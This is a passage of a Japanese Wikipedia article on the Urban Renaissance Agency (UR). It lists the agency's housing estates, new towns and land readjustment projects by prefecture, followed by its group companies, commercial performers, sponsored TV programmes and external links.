** [[くじら橋]](多摩ニュータウン稲城長峰) (稲城市)
* [[八日町 (八王子市)|ビュータワー八王子]] (八王子市)
* [[みなみ野シティ|八王子ニュータウン(みなみ野シティ)]] (八王子市)
* [[グリーンヒル寺田]] (八王子市)
* [[館町 (八王子市)|館ヶ丘団地]] (八王子市)
* うまさん公園 (稲城市)
* 稲城第2公園 (稲城市)
* [[多摩平団地]]・[[多摩平の森]](日野市他)
* グリーンバンクシステム (多摩平団地 他、日野市他)
* 鶴川団地 (町田市)
* [[町田市]]鶴川第二地区地区計画土地区画整理事業 (町田市)
* [[藤の台団地]] (町田市)
* 町田山崎団地 (町田市)
* [[小山田桜台]]団地 (町田市)
* 南台団地 (東村山市)
* 旭ヶ丘団地 (清瀬市)
* [[神代団地]] (調布市と、一部が狛江市)
* ライフタウン国領/国領八丁目地区 (調布市)
* [[ひばりが丘団地]] (東久留米市)
* [[ひばりが丘駅]]南口地区市街地再開発事業 (東久留米市)
* [[滝山]]団地 (東久留米市)
* [[ファーレ立川]] (立川市)
* 立川都市計画事業(仮称)立川基地跡地昭島地区土地区画整理事業
* 立川都市計画事業[[立川基地]]跡地関連地区土地区画整理事業 (旧称 立川基地跡地関連地区土地区画整理事業)
* 立川・昭島地域総合計画・事業計画
* 立川・八王子[[業務核都市]]圏域構想
* [[武蔵野緑町団地]]・武蔵野緑町パークタウン (武蔵野市)
* [[桜堤団地]]・[[サンヴァリエ桜堤]](武蔵野市)
* [[牟礼団地]] (三鷹市)
* 三鷹台団地 (三鷹市)
* エステート上水本町 (小平市)
* [[喜平町|小平団地]] (小平市)
* 西国分寺ゆかり参番街 (国分寺市)
* 昭島つつじヶ丘ハイツ (昭島市)
* 福生団地 (福生市)
* 国立団地 (国立北3丁目団地、国立市)
==== 神奈川県 ====
* [[アルテ横浜]] (神奈川県横浜市)
* 横浜都市計画事業
** 横浜[[横浜みなとみらい21]]中央土地区画整理事業:昭和58年-平成23年
** [[港北ニュータウン]]土地区画整理事業
** [[長津田]]特定土地区画整理事業:昭和63年-平成21年 [[長津田みなみ台]] (玄海田)
** 下長津田土地区画整理事業:[[いぶき野 (横浜市)|いぶき野]] - [[東京急行電鉄]]他との宅地開発
** 洋光台土地区画整理事業:昭和41年-48年
** 港南台土地区画整理事業:昭和44年-61年
** 霧が丘土地区画整理事業:昭和46年-60年
** 鴨志田土地区画整理事業:[[成合町 (横浜市)]]ほか、昭和47年-59年
** 北部新都市第一土地区画整理事業:昭和49年-平成17年
** 北部新都市第二土地区画整理事業:昭和49年-平成17年
** 北部新都市中央土地区画整理事業:平成7年-21年
** 奈良土地区画整理事業:昭和57年-平成17年
* [[クイーンズスクエア横浜]] (神奈川県横浜市)
*洋光台団地(神奈川県横浜市)
* [[奈良北団地]] (神奈川県横浜市青葉区奈良町)
* [[花咲団地]] (神奈川県横浜市西区)
* [[金沢シーサイドタウン]] (神奈川県横浜市)
* [[辻堂団地]] (神奈川県)
* 海岸通団地(横浜市中区)
* [[霧が丘]] (神奈川県)
* [[公団たまプラーザ団地]](横浜市青葉区)
* [[野毛山住宅]] (神奈川県横浜市西区)
* [[山下町第二団地]] (神奈川県横浜市中区)
* [[アーベインビオ川崎]] (神奈川県川崎市)
* [[小杉御殿団地]] (神奈川県川崎市中原区)
* [[虹ヶ丘団地]] (川崎市麻生区)
* 川崎都市計画事業
** 生田土地区画整理事業:昭和33年-昭和36年
** 東生田土地区画整理事業:昭和38年-昭和42年
** 菅土地区画整理事業:昭和42年-昭和45年
** 西菅土地区画整理事業:昭和47年-昭和61年
** 黒川特定土地区画整理事業:平成 3年-平成18年
* [[ミューザ川崎]] (神奈川県川崎市)
* [[横須賀港]]周辺地区 (神奈川県横須賀市)
* 平塚都市計画事業真田・北金目特定土地区画整理事業:神奈川県平塚市
* 伊勢原都市計画事業成瀬第二特定土地区画整理事業:神奈川県伊勢原市
* 藤沢都市計画事業[[藤沢市]]辻堂神台一丁目地区土地区画整理事業:[[関東特殊製鋼]]跡地、[[湘南C-X]]
* [[善行団地]] (神奈川県藤沢市)
* [[厚木ニューシティー森の里]] (神奈川県厚木市)
* 厚木都市計画事業鳶尾土地区画整理事業:厚木市本厚木
* [[山崎団地]] (神奈川県鎌倉市)
==== 埼玉県 ====
* [[むさし緑園都市]]
** [[うらら花高坂]] ([[高坂駅]]東口第二地区:埼玉県[[東松山市]])
** [[高坂ニュータウン]] (高坂丘陵地区:埼玉県東松山市)
** [[坂戸ニューシティにっさい]] (坂戸西部地区:埼玉県[[坂戸市]])
** [[北坂戸駅]]周辺地区 (北坂戸地区:埼玉県坂戸市)
** [[若葉駅]]周辺地区 (富士見地区:埼玉県坂戸市、[[鶴ヶ島市]])
** 川鶴グリーンタウン (川越・鶴ヶ島地区:埼玉県[[川越市]]、鶴ヶ島市)
** 川越ニューシティいせはら (霞ヶ関地区:埼玉県川越市)
* [[清久工業団地]] (久喜都市計画事業工業団地造成事業、埼玉県[[久喜市]])
* [[パークタウン五領]] (埼玉県東松山市)
* [[本庄早稲田の杜]]:([[本庄早稲田駅]]周辺土地区画整理事業、埼玉県[[本庄市]])
* さいたま都市計画事業(埼玉県さいたま市)
** 岩槻南部新和西特定土地区画整理事業
** [[さいたま新都心]]土地区画整理事業
** 大宮西部特定土地区画整理事業
** 浦和東部第一特定土地区画整理事業([[みそのウイングシティ]] )
** 浦和東部第二特定土地区画整理事業
** 浦和南部土地区画整理事業
* [[アーベイン大宮]] (埼玉県さいたま市)
* [[西本郷団地]] (埼玉県さいたま市北区)
* 越谷都市計画事業
** [[越谷レイクタウン]]特定土地区画整理事業 (埼玉県越谷市)
** [[吉川駅]]南特定土地区画整理事業「吉川駅みなみ」(埼玉県吉川市)
* 桶川都市計画事業坂田西特定土地区画整理事業、坂田東特定土地区画整理事業 - ビュータワーおけがわ:埼玉県桶川市
* CF東鳩ヶ谷と「住塚」 (埼玉県川口市)
* [[エルメホール越谷]] (埼玉県越谷市)
* [[ココネ上福岡]] (埼玉県ふじみ野市)
* スクールメモリーズ(コンフォール上野台) (埼玉県ふじみ野市)
* 西中央公園([[霞ヶ丘団地]]建替事業) (埼玉県ふじみ野市)
* [[鶴瀬団地]] (埼玉県富士見市)
* [[ビッグヒルズ飯能美杉台]] 「季節を感じる街づくり」(埼玉県飯能市)
* [[上野台団地]] (埼玉県ふじみ野市)
* [[武里団地]] (埼玉県春日部市)
* [[プラザシティ新所沢けやき通り]] (埼玉県所沢市)
* [[みさと団地]] (埼玉県三郷市)
* [[アリオ川口|リボンシティ]] (埼玉県川口市)
* [[川口総合文化センター|川口市立アートギャラリー”アトリア”]] (埼玉県川口市)
* [[吉川きよみ野]] コミュニティ道路沿道地区(埼玉県吉川市)
* [[久喜パークタウン]] (埼玉県久喜市)
* [[春日丘団地]] (埼玉県)
* [[春日部小渕団地]] (埼玉県)
* [[庄和町総合公園]] (埼玉県庄和町)
* [[松伏ニュータウン]] (埼玉県北葛飾郡)
* [[草加松原団地]] (埼玉県草加市)
* [[草加団地]] (埼玉県草加市)
* [[田園文化都市吉川きよみ野]] (埼玉県吉川市)
* [[新座団地]] (埼玉県新座市)
* [[東朝霞団地]] (埼玉県朝霞市)
* [[公団西大和団地]] (埼玉県和光市)
==== 千葉県 ====
* [[花見川団地]] (千葉県千葉市)
* [[幕張新都心]] [[幕張ベイタウン]] (千葉県千葉市)
* [[ちはら台]]:[[緑区 (千葉市)|緑区]]/市原市に位置する都市再生機構施行土地区画整理事業
* 千葉・市原開発事務所建物 (千葉県市原市)
* [[小谷小学校]] (千葉県千葉市)
* [[千葉市立扇田小学校|扇田小学校]] (千葉県千葉市)
* 青葉の森の街(千葉県千葉市千葉寺)
* 千葉都市計画事業蘇我臨海土地区画整理事業
* [[中心市街地]]と酒々井南部土地区画整理事業区域:都市再生機構が整備予定、南部新産業団地
* [[おゆみ野]]:千葉都市計画事業千葉東南部土地区画整理事業
* ベリータウンもねの里(千葉県四街道市、物井土地区画整理事業)
* 寺崎かずさアクアシティ:佐倉都市計画事業寺崎特定土地区画整理事業 (千葉県佐倉市)
* 柏都市計画事業柏北部東地区一体型特定土地区画整理事業 (千葉県柏市)
* [[柏の葉]] - 柏都市計画事業[[柏通信所]]跡土地区画整理事業 (千葉県柏市)
* [[緑が丘 (八千代市)]]-西八千代北部土地区画整理事業/西八千代東部土地区画整理事業
* [[八千代台団地]] (千葉県八千代市)
* 木更津都市計画事業金田西特定土地区画整理事業, 木更津都市計画事業金田東特定土地区画整理事業 (千葉県)
* 浦安東土地区画整理事業
* [[若松団地]] (千葉県船橋市)
* [[金杉台団地]] (千葉県船橋市)
* [[芝山団地]] (千葉県船橋市)
* [[高根台団地]] (千葉県船橋市)
* [[習志野台団地]] (千葉県船橋市)
* [[前原団地]] (千葉県船橋市)
* [[行田団地]] (千葉県船橋市)
* [[谷津パークタウン]] (千葉県習志野市)
* 袖ヶ浦団地 (千葉県習志野市)
* 秋津住宅公団団地 (千葉県習志野市)
* 香澄住宅公団団地 (千葉県習志野市)
* [[豊四季台団地]] (千葉県柏市)
* [[光ヶ丘団地]] (千葉県柏市)
* [[小金原団地]] (千葉県松戸市)
* [[常盤平団地]] (千葉県松戸市)
* 松戸沼南しいの木台(千葉県松戸市)
* [[ホームタウン野田亀山]] (千葉県野田市)
* [[野田みずきの街]] (千葉県野田市)
* [[千葉ニュータウン]]([[北総鉄道]]・[[千葉ニュータウン鉄道]]、千葉県船橋市・印西市・白井市)
* 鎌ケ谷都市計画事業[[新鎌ケ谷|新鎌ヶ谷]]特定土地区画整理事業 (千葉県鎌ケ谷市)
* 千葉NT都心地区ビジネスモール (千葉県印西市)
* [[印西牧の原駅]]駅舎 (千葉県印西市)
==== 茨城県 ====
* [[水戸駅]]南口土地区画整理事業:1999年-2007年
* 大生郷工業団地(水海道都市計画事業工業団地造成事業、茨城県常総市)
* 柏原工業団地(石岡都市計画事業工業団地造成事業、茨城県石岡市)
* 丘里工業団地(古河都市計画事業工業団地造成事業、茨城県古河市)
* 北利根工業団地(古河都市計画事業工業団地造成事業、茨城県古河市)
* [[常総ニュータウン]] (茨城県)
* [[筑波研究学園都市]] (茨城県つくば市)
** つくば・さくら団地 (茨城県つくば市)
** つくば・吾妻一丁目団地 (茨城県つくば市)
** つくば・春日団地 (茨城県つくば市)
** つくば・松代三丁目団地 (茨城県つくば市)
** つくば・二の宮団地 (茨城県つくば市)
** つくば・二の宮第二団地 (茨城県つくば市)
** つくば・並木四丁目団地 (茨城県つくば市)
** つくば松代四丁目団地 (茨城県つくば市)
** つくば松代四丁目第二団地 (茨城県つくば市)
** 竹園団地 (茨城県つくば市)
** 竹園第二団地 (茨城県つくば市)
** 研究学園都市計画事業:[[研究学園駅]]周辺、研究学園葛城地区:[[首都圏新都市鉄道つくばエクスプレス|つくばエクスプレス]]沿線のまちづくり、葛城一体型特定土地区画整理事業, 上河原崎・中西特定土地区画整理事業 (茨城県つくば市)
* 取手都市計画事業
**北守谷特定土地区画整理事業:[[常総ニュータウン]]北守谷。施工区域計画決定は1971年(昭和46年)。関東鉄道常総線沿線の戸頭から、北守谷、大生郷、南守谷、絹の台、[[内守谷町きぬの里]] (小絹、水海道都市計画土地区画整理事業守谷土地区画整理事業)、下高井地区の計7地区で開発面積は約850ヘクタール、計画人口9万人規模。北守谷だけで約260.5ヘクタール など。ほかエコライフタウン [[薬師台 (守谷市)]]([[パナホーム]])[[久保ケ丘]]、[[御所ケ丘]]、[[松前台]]など
** 南守谷特定土地区画整理事業:常総ニュータウン南守谷。約158.9ヘクタール、[[けやき台 (守谷市)]]、[[松ケ丘 (守谷市)]]など 公共施行、1979年-1988年
** [[ゆめみ野駅|取手ゆめみ野地区下高井土地区画整理事業]]、常総ニュータウン下高井特定土地区画整理事業(仮称:たかいの里,[[取手市]])
** [[取手市]]浜田・上萱場土地区画整理事業:組合施行、1989年- 施行中
** [[守谷駅]]周辺一体型土地区画整理事業:守谷市。[[中央 (守谷市)]]、[[松並 (守谷市)]]、[[ブランズシティ守谷]]など
** [[天王台駅]]土地区画整理事業
** 守谷町乙子高野土地区画整理事業:守谷町乙子高野土地区画整理組合、約33.0ha [[美園 (守谷市)]]「ヒルズ美園」など
** 守谷町工業団地土地区画整理事業:[[守谷市]]。[[四季の郷駅]]、[[四季の里公園]]、[[大木 (守谷市)]]、[[緑 (守谷市)]]ほか
** 守谷東特定土地区画整理事業:守谷市守谷東特定土地区画整理組合、約39.5ha [[ひがし野]]、[[古城川 (守谷市)]]、[[みずき野 (守谷市)]]など
* [[つくばエクスプレスタウン]] (茨城県)
* [[竜ヶ崎ニュータウン]] (茨城県)
* 竜ケ崎・牛久都市計画事業[[牛久市]]牛久北部特定土地区画整理事業:1992年-2007年
* エスカード牛久駅前ハイツ団地(茨城県牛久市)
* [[フローラルシティ南台]] (茨城県石岡市)
* アクティ佐貫団地(茨城県龍ケ崎市)
* 取手井野団地・戸頭団地(茨城県取手市)
* 取手井野第二団地(取手市)
=== 中部 ===
* [[南長野運動公園]] (長野県長野市)
* [[藤枝総合運動公園]] (静岡県藤枝市)
* [[熱海梅園]] (静岡県熱海市)
* [[可美公園]] (静岡県浜松市)
* 西遠広域都市計画事業浜北新都市土地区画整理事業:浜松市きらりタウン浜北
* 阿児文化公園
* 仰木地区公園
* 香寺町総合公園
* 三好ヶ丘
* 小野原東地区公園
* [[神宮東パークハイツ]]
* 水際公園
* 相楽地区
* [[高蔵寺ニュータウン]] (愛知県春日井市)
* [[桃花台ニュータウン]] (愛知県小牧市)
* 滝呂住宅地(岐阜県多治見市)
* [[稲沢駅#稲沢駅周辺再開発|稲沢駅周辺再開発事業(グリーン・スパーク稲沢21)]]:尾張西部都市拠点地区土地区画整理事業(UR施行)・下津陸田土地区画整理事業(稲沢市施行)の稲沢操車場跡地再開発
* [[常滑公園]] (愛知県常滑市)
* [[乙部ヶ丘]] (愛知県豊田市)
* [[アーバニア志賀公園]] (愛知県名古屋市)
* [[アーバンラフレ星ケ丘]] (愛知県名古屋市)
* 鳩丘団地・アーバンラフレ鳩岡 (愛知県名古屋市)
* 白鳥パークハイツ
* [[保見団地]] (愛知県豊田市保見ヶ丘)
* [[鳴子団地]]・アーバンラフレ鳴子(愛知県名古屋市)
* [[志賀団地]]・アーバンラフレ志賀(愛知県名古屋市北区)
* [[鳴海団地]]・アーバンラフレ鳴海(愛知県名古屋市緑区鳴海町)
* 鳴海第二団地 (愛知県名古屋市)
* [[江南団地]] (愛知県江南市)
* [[豊明団地]] (愛知県豊明市)
* 豊明栄団地 (愛知県豊明市)
* 相生山住宅 (愛知県名古屋市)
* [[サンクレア池下|池下周辺地区(サンクレア池下)]] (愛知県名古屋市)
* 豊田市猿投公園 (愛知県豊田市)
* [[岡崎中央総合公園]] (愛知県岡崎市)
* 半田運動公園 (愛知県半田市)
* [[大府みどり公園]] (愛知県大府市)
* 千種二丁目地区循環型まちづくり (愛知県名古屋市)
* 桑名ビジネスリサーチパーク (三重県桑名市、桑名市と)
* 桑名市播磨地区
* ゆめポリス伊賀クリエイトランド (三重県伊賀市、伊賀市と)
* 蓮花寺地区公園 (三重県桑名市)
* [[東濃研究学園都市]] (愛知県、岐阜県)
* 多治見都市計画事業滝呂土地区画整理事業 (岐阜県)
* 土岐プラズマリサーチパーク (岐阜県土岐市、土岐市と)
ほか多数
=== 近畿 ===
*[[関西文化学術研究都市]] (けいはんな学研都市とも)
**[[平城・相楽ニュータウン]] (奈良県奈良市・京都府木津川市・京都府相楽郡精華町)
*** コンフォールかぶと台 (京都府木津川市)
** 木津南団地(州見台)・木津南センター前地区 (京都府木津川市)
**[[田原台|田原台(パークヒルズ田原)]] (大阪府四條畷市)
**[[関西文化学術研究都市精華・西木津地区#光台|光台]](京都府相楽郡精華町)
*[[宇治市植物公園]] (京都府宇治市)
* 相楽都市計画事業木津中央地区土地区画整理事業:[[木津駅 (京都府)|木津駅]] (京都府木津川市)
* 恭仁ゾーン堤内地(鹿背山地区)公園 (京都府)
* [[男山団地]] (京都府八幡市)
* 桂・御陵坂 (京都府)
* 京都高野団地 (京都府)
* 綴喜都市計画事業南田辺北土地区画整理事業 (京都府京田辺市)
* びわこサイエンスパーク (琵琶湖東部内陸開発調査計画、滋賀県大津市)
*[[大津湖岸なぎさ公園]] (滋賀県大津市)
*レークピア大津[[仰木の里]] 大津市仰木土地区画整理事業 (滋賀県大津市)
** ヴェルディール仰木
** ガーデンハウス仰木
* 伊香立緑の里土地区画整理事業 (滋賀県大津市)
** 伊香立公園・親自然型都市総合整備事業
* 甲賀市水口土地区画整理事業(近江水口テクノパーク) (滋賀県甲賀市)
*北部大阪都市計画事業[[国際文化公園都市]]特定土地区画整理事業 : 彩都 (大阪府茨木市)
*北部大阪都市計画事業[[吹田操車場]]跡地土地区画整理事業
*[[大阪駅北地区|大阪駅北プロジェクト(うめきた)]] : 北部大阪都市計画事業[[大阪駅]]北大深東地区土地区画整理事業
*玉川1丁目地区・アーベイン中之島西(大阪府大阪市福島区)
*[[酉島リバーサイドヒルなぎさ街]] (大阪府大阪市此花区)
*[[淀川リバーサイドタウン]] (大阪府大阪市北区)
*[[NEXT21 (大阪ガス)]] 202住戸 (大阪府大阪市)
*[[阪南団地]] ・サンヴァリエあべの阪南(大阪市阿倍野区)
*[[森之宮スカイガーデンハウス]] (大阪府大阪市)
*[[西長堀アパート]] (大阪府大阪市西区)
* 関目団地・[[シャレール関目]] (大阪府大阪市)
* 関目第2団地・プロムナーデ関目(大阪府大阪市)
* 東長居団地・サンヴァリエ東長居 (大阪府大阪市住吉区)
* 針中野団地・サンヴァリエ針中野(大阪府大阪市東住吉区)
*[[シャレール東豊中]] (大阪府豊中市)
*[[アルビス旭ヶ丘団地]] (大阪府豊中市)
*[[千里緑丘]] (大阪府豊中市)
*[[千里ニュータウン]] (大阪府吹田市・豊中市)
*[[ベルマージュ堺]] (大阪府堺市)
*[[金岡団地]]・サンヴァリエ金岡(大阪府堺市北区東三国ヶ丘町)
*[[新金岡団地]] (大阪府堺市北区新金岡町)
* [[泉北ニュータウン|泉北団地]] (大阪府堺市)
** 泉北鴨谷台3丁目 (大阪府堺市)
*[[向ヶ丘第一団地]]・サンヴァリエ津久野(大阪府堺市西区)
* 津久野南 (大阪府堺市西区)
*[[大仙公園]] (大阪府堺市)
*鳳防災公園 (大阪府堺市)
*[[ガーデンハウスいぶき野]] (大阪府和泉市)
*[[金剛東ニュータウン]] (大阪府)
*[[トリヴェール和泉]] (大阪府和泉市)
*[[総持寺公団住宅]] (大阪府茨木市総持寺台・大阪府高槻市南総持寺町)
* 阿武山団地 (大阪府高槻市)
* 高槻インターチェンジ周辺地域整備構想 (大阪府高槻市)
* 赤大路移管公園 (大阪府高槻市)
* 玉川橋団地 (大阪府高槻市)
* 若山台団地 (大阪府三島郡島本町)
* 寝屋川団地 (大阪府寝屋川市)
*[[香里団地|香里住宅団地]] (大阪府枚方市香里ヶ丘)
*[[釈尊寺団地]] (大阪府枚方市釈尊寺町)
* 枚方長尾地区公園緑地 (大阪府枚方市)
* 箕面おのはらアートアベニュー (大阪府箕面市)
* 東大利スクエアタウン (大阪府寝屋川市)
* ガーデンハウス光明台 (大阪府和泉市)
* 鈴蘭台団地 (兵庫県神戸市北区)
* 新多聞地区 (兵庫県神戸市垂水区)
*[[HAT神戸]]・灘の浜(兵庫県神戸市)
*[[JR三ノ宮新駅ビル]]と[[三宮]]周辺地区(兵庫県神戸市中央区)
*[[住吉駅 (JR西日本・神戸新交通)|住吉駅]]東地区 (兵庫県神戸市)
*[[神戸ハーバーランド]] (兵庫県神戸市)
*[[神戸三田国際公園都市]](兵庫県神戸市・三田市)
**[[神戸リサーチパーク]](兵庫県神戸市北区)
***藤原台(藤原山公園など)
***[[鹿の子台]]・ガーデンハウス鹿の子台
***上津台
***赤松台
**[[北摂三田ニュータウン]] (兵庫県三田市)
***[[ウッディタウン]]
*** [[カルチャータウン]]
*** [[フラワータウン]]
*** あかしあ台
*** [[北摂三田テクノパーク|テクノパーク]][[工業団地]] (阪神間都市計画事業工業団地造成事業)
*[[神戸研究学園都市]]学園南地区土地区画整理事業(兵庫県神戸市垂水区)
* 長田苅藻 (兵庫県神戸市)
* 南芦屋浜震災復興公営住宅・南芦屋浜復興公営集住街区 (兵庫県神戸市)
*[[阪神・淡路大震災]]の復興市街地整備 (兵庫県神戸市)
*[[仁川駅]]前地区市街地再開発事業 (兵庫県西宮市)
*[[鷹取駅]]北団地 (兵庫県神戸市)
* 武庫川団地 (兵庫県西宮市)
*[[都通四丁目街区共同再建事業]] (兵庫県神戸市)
* 長田御船通1丁目団地 (兵庫県神戸市)
* 名谷公園前広場 (兵庫県神戸市須磨区)
* 落合団地 (兵庫県神戸市須磨区)
* キャナルタウンウエスト (兵庫県神戸市)
*[[ガーデンシティ舞多聞]] (兵庫県神戸市垂水区)
* 神戸多聞団地 (兵庫県神戸市)
* グリーンヒルズ東舞子 (兵庫県神戸市垂水区)
*ひようご東条ニュータウン(兵庫県加東市)
**インターパーク南山の里
** ゆめのくにこうえん
* 北摂市北播磨余暇村公園 (兵庫県多可郡多可町)
* 志染団地 (兵庫県三木市)
*[[尼崎駅 (JR西日本)|尼崎駅]]周辺地区・尼崎駅北団地 (兵庫県尼崎市)
* 尼崎金楽寺 (兵庫県尼崎市)
*[[西宮マリナパークシティ]] (兵庫県西宮市)
*[[西宮名塩ニュータウン]] 創造の丘ナシオン地区・シェラピア東山台 (兵庫県西宮市)
*浜甲子園さくら街 (兵庫県)
*ひよどり台団地 (兵庫県神戸市北区)
*西神南団地 (兵庫県神戸市西区)
* 紀寺団地 (奈良県奈良市東紀寺町)
* 奈良青山 (奈良県奈良市)
*グリーンポリス・グラディーナ[[学園前 (奈良市)|学園前]](奈良県奈良市)
* 橿原運動公園 (奈良県橿原市)
* 大和高田市総合公園 (奈良県大和高田市)
* 真美ヶ丘 (奈良県香芝市・北葛城郡広陵町)
* 紀ノ光台 (和歌山県橋本市)
=== 中国・四国 ===
; 広島県
* 広島駅周辺地区整備
* 広島宇品地区開発・住宅供給方策検討・修復型まちづくり計画
* 広島市二葉の里地区土地区画整理事業 (二葉の里地区まちづくり推進協議会:財務省中国財務局、広島県、広島市、西日本旅客鉄道株式会社、都市再生機構で構成)
* 天満町アパート岩崎ビル (広島市)
* 賀茂学園都市・広島中央テクノポリス建設 (東広島市)
* 東広島ニュ-タウン (東広島市)
* 高陽金平団地
* 高陽団地
* 高陽真亀団地
* 天満町団地
* 鈴ヶ峰住宅
* 西白島団地
* 白島北町団地
* タカノバシ団地・フラワープラザタカノバシ
* 廿日市ニュータウン (廿日市市)
; 山口県
* [[宇部新都市]]土地区画整理事業 ([[宇部市]]、地域振興整備公団が整備)
; 島根県
* 松江市新市街地開発事業地区検討 (松江市)
* ふるさとの顔づくりモデル土地区画整理事業
; 鳥取県
* 津の井ニュータウン (鳥取市、地域振興整備公団が整備)
* 新津ノ井工業団地 (鳥取市、地域振興整備公団が整備)
; 愛媛県
* [[今治新都市]]地区土地区画整理事業
; 香川県
* 新宇多津都市 (宇多津町)
* 屋島第1団地
=== 九州 ===
; 福岡県
* [[北九州学術研究都市]](本城・ひびきの)土地区画整理事業 (北九州市八幡西区・若松区)
* [[香椎|香椎副都心]]土地区画整備事業 (福岡市東区)
* [[香椎団地]]・アーベインルネス香椎(福岡市東区)
* [[シーサイドももち]] (福岡市中央区・早良区)
** エアロギャラリーデューン(福岡市早良区<!--(シーサイドももちセンターステージ内)-->)
* 千里土地区画整理事業 (福岡市西区)
* ホテル海の中道 (福岡市東区)
* [[四箇田団地]] (福岡市早良区四箇田)
* [[大橋団地]] ・アーベインルネス大橋(福岡市南区)
* 福岡東部中核工業団地造成事業 (行橋市、旧地域振興整備公団)
* [[下大利団地]] (大野城市)
* 日の里団地(宗像市)
* 塔原・杉塚地区宅地整備(筑紫野市)
* 天拝坂配水塔(筑紫野市)
* 前原地区多久北新地線街づくり(糸島市)
; 佐賀県
* 鳥栖北部丘陵新都市 弥生が丘 (佐賀県鳥栖市・基山町. 旧地域振興整備公団)
; 長崎県
* [[長崎駅]]周辺地区土地区画整理事業
; 宮崎県
* [[宮崎学園都市]]開発整備
; 鹿児島県
* [[鴨池新町]]・鴨池ニュータウン・鴨池二丁目住宅 (鹿児島市)
=== 沖縄 ===
* 那覇広域都市計画事業[[那覇新都心]]土地区画整理事業 (那覇市)
* [[首里城]]の歴史的建造物の復元整備 (那覇市)
== グループ企業 ==
* 株式会社URシステムズ
*株式会社URコミュニティ
* 株式会社[[URリンケージ]]
* [[日本総合住生活]]株式会社
* 株式会社新都市ライフホールディングス(以下子会社)
** 新都市センター開発株式会社
** 筑波都市整備株式会社
** 株式会社[[横浜都市みらい]]
** 株式会社[[千葉ニュータウンセンター]]
** 株式会社中部新都市サービス
** 株式会社関西都市居住サービス
** 関西文化学術研究都市センター株式会社
== CM出演者 ==
*[[吉岡里帆]](UR賃貸住宅、2016年12月 - )<ref>[https://www.ur-net.go.jp/aboutus/publication/web-urpress49/interview.html 未来を照らす(12)女優 吉岡里帆さん](都市機構 WEB UR PRESS vol.49 2017年)</ref>
*[[千葉雄大]](UR賃貸住宅、2018年12月 - )<ref>[https://www.ur-net.go.jp/aboutus/publication/web-urpress56/interview.html 未来を照らす(19)俳優 千葉雄大さん](都市機構 WEB UR PRESS vol.56 2019年)</ref>
== 提供番組 ==
;現在
* [[ホンマでっか!?TV]]([[フジテレビジョン|フジテレビ]]系列)
* [[ジョブチューン アノ職業のヒミツぶっちゃけます!]]([[TBSテレビ|TBS]]系列、20時枠)※2020年4月から[[DENSO]]から引き継いだ。{{Efn|「[[炎の体育会TV]]」と隔週でスペシャルを編成している状態にあたる。}}
* [[LIFESTYLE COLLEGE|UR LIFESTYLE COLLEGE]]([[JAPAN FM LEAGUE|JFL]]([[FM NORTH WAVE]],[[J-WAVE]],[[ZIP-FM]],[[FM802]],[[CROSS FM]])5局ネット)
;過去
* [[金曜ロードSHOW!]]([[日本テレビ放送網|日本テレビ]]系列、2017年10月 - 2018年9月)ほか
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{notelist}}
=== 出典 ===
{{Reflist}}
== 関連項目 ==
* [[日本住宅公団]]
** [[公団住宅]]
** [[公団]]
* [[日本のニュータウン]]
* [[日本総合住生活]]
* [[同潤会]]
* [[住宅営団]]
* [[地方住宅供給公社]]
* [[公営住宅]]
* [[混合経済]]
* [[ドーナツ化現象]]
* [[都心回帰]]
== 外部リンク ==
{{Commonscat|Urban Renaissance Agency}}
* [https://www.ur-net.go.jp/ 独立行政法人 都市再生機構]
* {{Twitter|UR_TOSHIKIKOU}}
* {{Facebook|URkurashi|UR 賃貸住宅 くらしのカレッジ}}
* {{Facebook|UR-は全国のまちづくりを応援します-164964514079957|UR は全国のまちづくりを応援します}}
* {{YouTube|u=URTOSHIKIKO}}
* [http://www.jichikyo.com/ 全国公団住宅自治会協議会]
* {{Wayback|url=http://www.udc.go.jp/|title=都市基盤整備公団|date=20030624050027}}
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[[Category:都市再生機構|*]]
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